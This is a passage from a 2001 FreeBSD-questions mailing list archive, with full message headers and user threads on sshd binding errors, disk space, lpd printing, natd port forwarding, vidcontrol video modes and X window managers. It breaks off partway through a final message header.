FreeBSD.ORG On Tue, 20 Nov 2001, Bob wrote: > am new to the list and FreeBSD, so please excuse me if this is not the > right place to ask this question. this is the right place. hopefully we can help you. > When I try to start sshd, I get error messages. > sshd[336]: error: Bind to port 22 on :: failed: Address already in use. > > any suggestions, pointers, etc are greatly appreciated. check to see if sshd is already running. what may be happening is that it's failing because of a daemon already running. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:32:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10007.mail.yahoo.com (web10007.mail.yahoo.com [216.136.130.43]) by hub.freebsd.org (Postfix) with SMTP id C97B937B418 for ; Tue, 20 Nov 2001 17:32:44 -0800 (PST) Message-ID: <20011121013244.78185.qmail@web10007.mail.yahoo.com> Received: from [209.219.51.7] by web10007.mail.yahoo.com via HTTP; Tue, 20 Nov 2001 17:32:44 PST Date: Tue, 20 Nov 2001 17:32:44 -0800 (PST) From: Tom Kersten Subject: Re: Re: / is full!!!! Please help... To: Garance A Drosihn Cc: freebsd-questions@freebsd.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --- Garance A Drosihn wrote: > At 9:40 PM -0800 11/19/01, Tom Kersten wrote: > >Hello all, > > > >My root directory is getting close to being full > (97+%). > >It is 45 mb....is this too small??? I symlinked the > /var > >directory to /usr/var after installation and > thought that > >45 mb would be enough...it says that 30 is > sufficient in > >"The Complete FreeBSD"..so I put in a little more > just in > >case. > > The Complete FreeBSD's recommendation is a little > dated, > as things continue to grow in size. One tactic you > can > use is to see how much of that disk usage is in > /tmp, and > maybe add another partition for /tmp instead of > leaving > it in '/'. I have symbolic links for both the /tmp and /var directories to /usr/tmp & /usr/var, those don't appear to be my problems. The majority of the space seems to be being hogged by the /root/.kde directory (& its subdirectories). Are these supposed to be in here??? What are some of my other options...since my problem is not the /tmp & /var directories.... thanks, thomas kersten > > -- > Garance Alistair Drosehn = > gad@eclipse.acs.rpi.edu > Senior Systems Programmer or > gad@freebsd.org > Rensselaer Polytechnic Institute or > drosih@rpi.edu > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of > the message __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:45: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id AD22E37B416 for ; Tue, 20 Nov 2001 17:44:56 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAL1iRi23653; Wed, 21 Nov 2001 01:44:27 GMT Date: Wed, 21 Nov 2001 01:44:27 +0000 From: what ever To: Axel Scheepers Cc: jaime@snowmoon.com, what ever , freebsd-questions@freebsd.org Subject: Re: lpd: only root can print Message-ID: <20011121014427.A15466@sdf.freeshell.org> References: <20011120211245.A17671@sdf.freeshell.org> <20011120161504.R53181-100000@malkav.snowmoon.com> <20011121003157.G87336@mars.thuis> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121003157.G87336@mars.thuis>; from axel@axel.truedestiny.net on Wed, Nov 21, 2001 at 12:31:57AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I gave this a try, but still no luck. I'm thinking it must be something with master.passwd, passwd, or pwd.db? On Wed, Nov 21, 2001 at 12:31:57AM +0100, Axel Scheepers wrote: > Hi, > > It has been quite a while, but you might try looking if there's a difference > between the /usr/skel/dotfiles and your home/dotfiles, it might be a setting > in one of these files, or else I can't explain the fact that it workes well > with new users and won't if you readd without deleting your homedir. > Hope this helps a bit :) > > -- > Axel Scheepers > UNIX System Administrator > > email: axel@axel.truedestiny.net > ascheepers@vianetworks.nl > http://axel.truedestiny.net/~axel > ------------------------------------------ > New York is real. The rest is done with mirrors. > ------------------------------------------ -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:45:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns.tsl.ru (ns.tsl.ru [195.161.154.76]) by hub.freebsd.org (Postfix) with ESMTP id EE6F937B405 for ; Tue, 20 Nov 2001 17:45:31 -0800 (PST) Received: from anubis.my.domain (anubis.dti.tsl.ru [195.161.154.150]) by ns.tsl.ru (8.9.3/8.9.3) with ESMTP id KAA21500 for ; Wed, 21 Nov 2001 10:45:29 +0900 Received: from there (unknown [192.168.0.42]) by anubis.my.domain (Postfix) with SMTP id C46A5BA673 for ; Wed, 21 Nov 2001 10:45:27 +0900 (YAKT) Content-Type: text/plain; charset="koi8-r" From: Dmitry Krasnov Organization: DT International To: questions@freebsd.org Subject: GNOME-DB on FreeBSD Date: Wed, 21 Nov 2001 10:41:06 +0900 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011121014527.C46A5BA673@anubis.my.domain> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bonjour! I've compiled gnomedb-0.2.93 under FreeBSD 4.4-STABLE without any problems from ports tree. But when I run gnomedb-fe it complains: dek@ws-0122-01$ gnomedb-fe Gtk-WARNING **: cannot open display: :0.0 All other Gtk/Gnome apps are working fine including gnumeric, gimp and etc. Seems that it is something wrong with bonobo/oaf/gconf, but I have no idea how to check my setup. Somebody has working gnome-db installation under FreeBSD? What's wrong? Any suggestions? Adios! - -- /Dmitry Krasnov, System Engineer, JV DT International E-mail: dek(at)dt.amur.ru, Mobile: +7 (4162) 359002 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+wY9sf5ni1j+brwRAtPaAJ9nHCftDjs9XNKhbGpaDIlJeT4cHQCgtcu9 WRdlmxE+05GTrbY0uVN3bnA= =Pgij -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:51:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ns1.infowest.com (ns1.infowest.com [204.17.177.10]) by hub.freebsd.org (Postfix) with ESMTP id E60E237B418 for ; Tue, 20 Nov 2001 17:51:23 -0800 (PST) Received: from kgifford (www.fmei.com [65.100.240.153]) by ns1.infowest.com (Postfix) with ESMTP id DD75E20FCA for ; Tue, 20 Nov 2001 18:51:22 -0700 (MST) Reply-To: From: "Kendall Gifford" To: Subject: An ipfw/nat port forwarding issue Date: Tue, 20 Nov 2001 18:51:22 -0700 Message-ID: <000a01c1722f$060cb510$f801a8c0@fmepro.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I have a little problem in getting NAT port forwarding to work in the following situation. Situation: We have a DSL connection to which a FreeBSD 4.4-Stable box is connected called foobar. Foobar is the LAN's NAT-firewall. Our web server is inside our LAN and all requests are naturally forwarded by natd. The problem is when LAN clients try to access our web server via foobar. Now, normally they are not supposed to as the LAN's primary DNS server (not foobar) returns the local address for the www server. But, sometimes the clients, I assume due to very short time-outs, insist on reverting to secondary DNS (foobar) which gives them foobar's public IP. So, when they try to visit the web site, it doesn't work. This is what my request for more information is: Why doesn't this work? What goes on "inside" foobar when it receives such a request? Just to give you more information about the situation, this situation occurs with my ipfw rules wide open (I merely divert to natd then allow all). Also, here are my uneducated guesses for the sake of letting you know I have been working on understanding this: LAN requests for the external interface come in via the internal interface, pass through ipfw without any natd intervention, and are then foobar try's to service the www port 80 request (because it didn't get forwarded as natd runs on the external interface). Since foobar isn't serving up a www dinner, the client must starve. Am I close? Any suggestions? Any help or general information is much appreciated. ____________ Kendall Gifford kendall@jedis.com http://kendall.jedis.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 17:52:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from imgate02.cyber-quest.com (imgate02.cyber-quest.com [207.51.80.8]) by hub.freebsd.org (Postfix) with ESMTP id BCDEB37B405 for ; Tue, 20 Nov 2001 17:52:11 -0800 (PST) Received: from mail.cyber-quest.com (mail.cyber-quest.com [63.69.94.1]) by imgate02.cyber-quest.com (Postfix) with ESMTP id A5FAF55411 for ; Tue, 20 Nov 2001 20:49:12 -0500 (EST) Received: from Marc [66.67.0.245] by mail.cyber-quest.com with ESMTP (SMTPD32-6.06) id A8A9EFF0282; Tue, 20 Nov 2001 20:51:37 -0500 Message-ID: <066201c1722e$d745ea30$6400a8c0@Marc> Reply-To: "Marc" From: "Marc" To: References: <20011121013244.78185.qmail@web10007.mail.yahoo.com> Subject: File-attach Date: Tue, 20 Nov 2001 20:50:03 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How do I send an output file as an file-attachment via email using something similar to the following line: perl procedure.pl | mail john.doe@domain.com TIA. -M To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18: 0:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id EEC6E37B405 for ; Tue, 20 Nov 2001 18:00:35 -0800 (PST) Received: (qmail 82974 invoked by uid 100); 21 Nov 2001 02:00:50 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.2770.644343.846234@guru.mired.org> Date: Tue, 20 Nov 2001 20:00:50 -0600 To: "Anthony Atkielski" Cc: Subject: Re: home pc use In-Reply-To: <019701c17224$013e6520$0a00000a@atkielski.com> References: <15354.60877.44081.17515@guru.mired.org> <019701c17224$013e6520$0a00000a@atkielski.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski types: > Mike writes: > > > Try the following: > > > > $ cd > > $ mv .xinitrc save.xinitrc > > $ echo netscape > .xinitrc > > $ startx > > Poof. You're now running netscape without a > > window manager. > Fascinating. I don't care for Netscape, but I presume I could do the same with > the Linux version of Opera. You can do it with any X application. > > From the sysadmins point of view, this was great. > > You only had to manage one system, as the boxes > > you put on desks didn't require management beyond > > the power switch. It also provided the kind of user > > mobility in the late 80s and early 90s that > > Windows didn't get until the last few years. > So are X Terminals still in common use? If not, why not? They sound like an > excellent solution to a recurring problem with Windows (namely, the fact that > users tend to screw up machines that they can fiddle with themselves). No, they've died. [Begin rant] They died because users want to "own" their things. They don't want to have to trust their data to some central server controlled by the IT staff, though they expect the IT staff to back up their machines. [end rant] > > Actually, the thought of moving *any* production > > environment from one OS to another is chilling. > I learned the hard way that just going from one release to the next--or even > just applying the latest set of patches--can be pretty chilling, too. Yup. Never run .0 releases on production machines. Always test patches, etc. on non-production machines *first*. Even then, you may get bit, because the patches you tested on the test machine clash with patches on the production machine that weren't on the test machine. The short version of this is "computers suck." > > That's one of the things that IBM depended > > on for cash flow, and that MS depends on now. > Yes, all PC software companies depend on it. Unfortunately, that situation > cannot endure. I'm a bit confused myself because, on the one hand, I know that > Microsoft has little choice but to go to the XP model of "pay forever," but on > the other hand, I'm absolutely opposed to paying for anything of the kind > myself. Indeed, the day I got my FreeBSD system was the day after Windows XP > went on sale. There are those who claim that XP is going to shake out all the people who don't want to pay for an OS. On the other hand, I've already been offered a copy of XP Professional that supposedly had the code that enforces the "pay forever" model ripped out. > I worry about open-source products like FreeBSD, too. It's great to have such > nice software for free, but where is the money going to come from to keep such > products alive? Money isn't the crucial resource, programmer time is. After all, that's where the money mostly goes. Some of it goes to marketing, but that's because more programmers using FreeBSD means more programmers working on keeping the product alive. And the programmer time for all this is going to come from the same place it's always come from - the programmers that are using it. > > Exactly. If I wanted to clone Windows, I wouldn't > > run FreeBSD on my desktop. > Agreed. That's why FreeBSD has just a plain text console on my desktop right > now. There are *lots* of other options. > > I don't use window managers that provide > > drop shadows or icons. > Which window manager provides the cleanest desktop under UNIX? You're confusing two issues again. There are "desktop" managers and "window" managers. The two desktop managers available for FreeBSD KDE and Gnome; the only other Unix deskopt manager I know of is CDE. I don't run any of them, so I can't be sure of the exact relationship, only that there some window managers are "compliant" with some desktop managers, and some not. Oh yeah - and that people who write simple window managers generally have evil things to say about what it takes to be compliant. I don't believe there's a clean desktop manager. Ratpoison is the cleanest window manager. I discussed that at length elsewhere in my reply. > Also, if the > window manager is just another X client, how does it manage to influence the > appearance of windows created by other clients? The only appearance it really gets to influence is the frame - which the window manager draws. Various things done by the window manager and the client get passed back and forth through the X server - windows opening, closing and resizing being typical - so they can react appropriately. > > Well, nobody sells FreeBSD, but it sees a lot > > of use in production environments with exactly > > that level of support. > I meant selling in the sense of successful advocacy. You mean inside the company. > > Doesn't sound like you've had much experience > > with commercially supported OS tech support. > On the contrary, I've had a ton of experience, on _both_ sides of that fence. > But if you have a hotline, you can tell your management that the vendor is > working on something, and then the pressure is off. Making no progress when the > ball is in the vendor's court is _much_ different from making no progress when > the ball is in your court. If you've got sufficiently good - or stupid - management, you *can* tell them you're waiting on an answer from the support list. The ball is no longer in your court. > > Telling managers "I'm waiting for an answer > > from vendor tech support" is a *very* common > > occurence with them. > Yes, and it works well. But it only works if there _is_ a vendor tech support. You do know you can buy tech support for FreeBSD if you really want it, don't you? That means you're paying someone else to ask -questions :-). > Many vendors have an implicit or even an explicit obligation of performance in > their support contracts, so managers know that it can't ride forever, and even > if it does, they can get a lot of mileage out of saying the vendor is looking > into it. You got it right the second time - it can ride forever, and you're getting milage out of giving someone else grief over it. Which is what you're really paying for when you buy tech support - the right to give someone else grief over it. > > If you can find the .001% of applications that > > aren't useless in the .1% that don't run on Windows, > > you'll do fine. > The chances of finding such an application would be the product of these two > probabilities--or one in one hundred million. I agree - the chances of a typical user having a use for an application that is only available under Windows is about one in one hundred million. > > You can build an almost complete web development > > environment on FreeBSD. > Probably. What would be the nearest equivalent of Visual InterDev on FreeBSD? > I wouldn't need any of the fancy features, just something to manage the files in > a Web-friendly way, and a nice source editor like Visual InterDev has. Does it have to be an integrated tool? I have as yet to find a point-n-clicky html or xml editor that was as nice as psgml mode in emacs. You'll also have to describe what fice management features you want. > > ... because MSIE is your typical buggy MS trash, so > > you have to QA against it to find out where they > > aren't following the standards. > In the most recent independent tests I've seen, MSIE adheres to Web standards > better than any other browser. Only Opera makes a comparably good showing. > Netscape is significantly behind, even in version 6.x; the old version 4.x had > thousands of bugs and isn't even in the running (never was, actually). Sounds like things have improved radically since I got sick of dealing with it. From the looks of the web, MS still supports their extensions, as that's what people are using. > > Since MSIE runs on Solaris/SPARC, you can put > > together a complete web development environment > > on that Unix platform. > But that wouldn't be free. Being in the clutches of Sun is at least as bad as > being in the clutches of MS. Having been in the clutches of Sun (and DEC, and IBM, and a few others), I have to disagree. For one thing, Sun supports their product, instead of palming support off on resellers so they don't have to deal with bugs. Second, Sun provides a platform that adheres to some of the Unix standards, so most of the software that works on your typical FreeBSD server will work on it. That latter is the real difference. Writing an application that works in a GUI environment on both Windows and other platforms is a PITA, and MS is doing everything they can to keep it that way. This means that, as you point out, lots of applications only run on Windows. Should you wind up with critical functionality in such an application, you're hosed. Most of the people selling applications for Sun sell it for other platforms, and migrating the data is straightforward. Maybe not trivial, but it's at least there. > > Since it's not repeating, I'd write it off as a > > hardware hiccup. > That is almost my conclusion, but I tend to write it off as a software bug that > occurs only under some weird set of hardware conditions. As long as it is not > occurring again and again, I'm not too worried about it. Already I am running a > card with no support (some sort of GeForce card--it came with the hardware, but > I run it in plain text mode), so perhaps it hit something there. The processor > gets pretty warm with setiathome (49 degrees), but that still seems to be within > limits, and in any case, as far as I know neither chipset/MB nor the AMD > processor has any provision to boot the system if the temperature gets too high. We used to call these "stray alpha particles". Basically, some bit in the system got into a state it didn't belong in, and it went kerplop. Whether this is a hardware bug, because it shoudn't do that, or a software bug, because the software should catch it doing that, is sort of moot. > > If that doesn't satisfy you, make sure you're > > set up to capture core dumps, be prepared to debug > > them, and wait for it to happen again. > Dumps are not produced by default? And if it was a hard reboot (branching to > the initialization address in the BIOS, or something), how would FreeBSD get a > dump? Dumps are not produced by default. The question then is - what happened to produce the hard reboot? If someone power cycled the thing or some such, it won't have a dump. All traps in kernel mode go through a procedure that does a core dump before rebooting the machine. If you've got a problem that's causing a hard reboot without creating a trap in kernel mode, you've got a *nasty* problem. Since it's not repeatable, it's hard to tell. > > KDE is not an X server. KDE is a desktop environment. > > It can be run on any machine with IP connectivity > > to the X server. > Including a Windows machine? Or would I still have to spend hundreds of dollars > on an X server for Windows to do that? I have no idea if KDE can be compiled to run on a Windows machine. However, it isn't an X server, it has to have one to talk to. Let's go over the parts again: You have a display device, which is usually hardware. You have an X server, which talks to the display device directly. There are X servers - see Xnest in the XFree86-4 port or the VNC port for examples - which don't use display hardware, but talk to other software which talks to the hardware. More on that in a bit. You then have window managers and desktop managers. They are both clients of the X server, and they talk to each other somehow. Finally, you have real applications, which are clients of the X server, and may also be clients of the desktop manager - at least, some of the things in the ports tree are tagged as "for KDE" or "for GNOME". Back to "soft" X servers. Xnest opens one or more windows on an X server, and then listens for X requests like any other X server. It implements the requests inside of the windows on the X server. It's a nice tool if you want to play with window managers, as you can run a window manager on the Xnest server that's different than the one you're using on the server that Xnest is a client of. I recently used it to fix the support for multiple screens in ratpoison. VNC does the same kind of thing, only it's not limited to X, and it's split into two halves. A VNC server provides a workspace that depends on the system it's running on. On Unix, it's an X server whose "display hardware" is actually the VNC client. As such, you can have KDE talking to it. There are VNC servers for Windows - even Win95 - and clients for damn near anything that moves: X, Windows, VGA, Palms, high-end cell phones, and java-enabled web browsers. Are you sufficiently confused yet? http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18: 3:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 6560937B416 for ; Tue, 20 Nov 2001 18:03:53 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL23og62992; Wed, 21 Nov 2001 03:03:50 +0100 (CET) Message-ID: <01de01c17230$c3ccf370$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "pan" , "freeBSD-questions" References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <035e01c1722a$8a37f340$2813933f@cat> Subject: Re: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 03:03:44 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Look at what is listed in the "size" column from > _vidcontrol -i mode_ > > i.e. 40x25, 132x43, etc. > those are exactly the "keywords" you are looking for and > exactly what you were told the first time. And that's exactly what doesn't work. In the list of valid modes produced by the command, one contains "132x50" in the "size" column. However, when I try to specify this, I get freebie# vidcontrol 132x50 vidcontrol: cannot set videomode: Invalid argument > And - pay heed to the comment about > 'options VESA' in your KERNCONFIG, > especially if you want 132x43 or similiar. I have, and I've loaded the VESA support per the man page. > Careful reading of _man vidcontrol_ would have shown > you all this and more. No, careful reading of the man page provided no information on what field to enter for the mode (based on the list of available modes), and does not explain the error message that I received above. If it did, I wouldn't have to ask the question here. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:14:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from museum.rain.com (museum.rain.com [206.29.168.234]) by hub.freebsd.org (Postfix) with ESMTP id 5174537B417 for ; Tue, 20 Nov 2001 18:14:51 -0800 (PST) Received: (from list@localhost) by museum.rain.com (8.11.6/8.11.4) id fAL2Emi11918; Tue, 20 Nov 2001 18:14:48 -0800 (PST) (envelope-from list) Date: Tue, 20 Nov 2001 18:14:48 -0800 From: list To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: How do I set vidcontrol modes? Message-ID: <20011120181448.A11883@museum.rain.com> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01bd01c17227$0da4f510$0a00000a@atkielski.com>; from anthony@atkielski.com on Wed, Nov 21, 2001 at 01:54:13AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 01:54:13AM +0100, Anthony Atkielski wrote: > So how do I pick a mode off the list and > specify it in a subsequent vidcontrol command in order to change modes? For starters, you can ignore the graphics modes: vidcontrol -i mode | grep -w T Then enter the keyword that follows the T. 0 (0x000) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k 1 (0x001) 0x00000001 T 40x25 8x8 0xb8000 32k 32k 0x00000000 32k 2 (0x002) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k 3 (0x003) 0x00000001 T 80x25 8x8 0xb8000 32k 32k 0x00000000 32k 19 (0x013) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k 20 (0x014) 0x00000001 T 40x25 8x14 0xb8000 32k 32k 0x00000000 32k 21 (0x015) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k 22 (0x016) 0x00000001 T 80x25 8x14 0xb8000 32k 32k 0x00000000 32k 23 (0x017) 0x00000001 T 40x25 8x16 0xb8000 32k 32k 0x00000000 32k 24 (0x018) 0x00000001 T 80x25 8x16 0xb8000 32k 32k 0x00000000 32k 30 (0x01e) 0x00000001 T 80x50 8x8 0xb8000 32k 32k 0x00000000 32k 32 (0x020) 0x00000001 T 80x30 8x16 0xb8000 32k 32k 0x00000000 32k 34 (0x022) 0x00000001 T 80x60 8x8 0xb8000 32k 32k 0x00000000 32k 112 (0x070) 0x00000000 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k 113 (0x071) 0x00000001 T 80x43 8x8 0xb8000 32k 32k 0x00000000 32k 264 (0x108) 0x00000009 T 80x60 9x8 0xb8000 32k 32k 0x00000000 16384k 265 (0x109) 0x00000009 T 132x25 9x16 0xb8000 32k 32k 0x00000000 16384k 266 (0x10a) 0x00000009 T 132x43 9x8 0xb8000 32k 32k 0x00000000 16384k 267 (0x10b) 0x00000009 T 132x50 9x8 0xb8000 32k 32k 0x00000000 16384k 268 (0x10c) 0x00000009 T 132x60 9x8 0xb8000 32k 32k 0x00000000 16384k To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:19:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 6EC7537B405 for ; Tue, 20 Nov 2001 18:19:53 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 06005BCE8; Tue, 20 Nov 2001 18:19:52 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id SAA04314; Tue, 20 Nov 2001 18:19:52 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAL2HwA74229; Tue, 20 Nov 2001 18:17:58 -0800 (PST) (envelope-from swear@blarg.net) To: "Anthony Atkielski" Cc: Subject: Re: home pc use References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120220325.GF27244@hades.hell.gr> <015d01c1721f$09df3420$0a00000a@atkielski.com> From: swear@blarg.net (Gary W. Swearingen) Date: 20 Nov 2001 18:17:56 -0800 In-Reply-To: <015d01c1721f$09df3420$0a00000a@atkielski.com> Message-ID: Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" writes: > few seem to really know what they are talking about. It's a typical mailing > list, in other words, but it doesn't seem to be a very useful resources for > getting questions answered. A lot of questions get answered. A lot fewer don't. You can try unaswered questions on -stable (basic STABLE OS software) or maybe -hackers or -ports and get access to some experts that don't answer on -questions. And there's at least one expert on newsgroup comp.unix.bsd.freebsd.misc who I don't see often in the lists. BTW, I haven't minded your messages at all, even though I too hate M# and the clueless consumers who allowed M$ to take twenty years to incorporate ancient technology in the creation of a halfways-decent OS. I suppose OT messages are worthy of complaint, but I haven't seen much effort to move this discussion elsewhere; it's unfair to get in more OT jabs and then ask you to stop. Your posts are well worded and thought-provoking and I hope they result in some cross-fertilization of ideas and fill in some of the many blind spots that both you and we have. (And you definitely seem to be wearing some blinders, some of which I'm sure some more Unix experience will remove.) I've wished that more Unix people would have read "The Unix Hater's Handbook" since it came out in 1994. Our problems are only partially from our blinders; we mostly suffer from lack of manpower. We're incorporating ease-of-learning features even more slowly than M$ has incorporated ease-of-use and stability features, but it's improving and it's good enough for many people. And at least we have a good excuse for our slowness which M$ does not. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 18:25: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by hub.freebsd.org (Postfix) with ESMTP id 6AAF837B416 for ; Tue, 20 Nov 2001 18:24:42 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.144.157]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011121022441.DRJY9080.tomts7-srv.bellnexxia.net@xena.gsicomp.on.ca>; Tue, 20 Nov 2001 21:24:41 -0500 Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAL2GOW35366; Tue, 20 Nov 2001 21:16:24 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <002e01c17233$aa0b9970$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Tom Kersten" , "Garance A Drosihn" Cc: References: <20011121013244.78185.qmail@web10007.mail.yahoo.com> 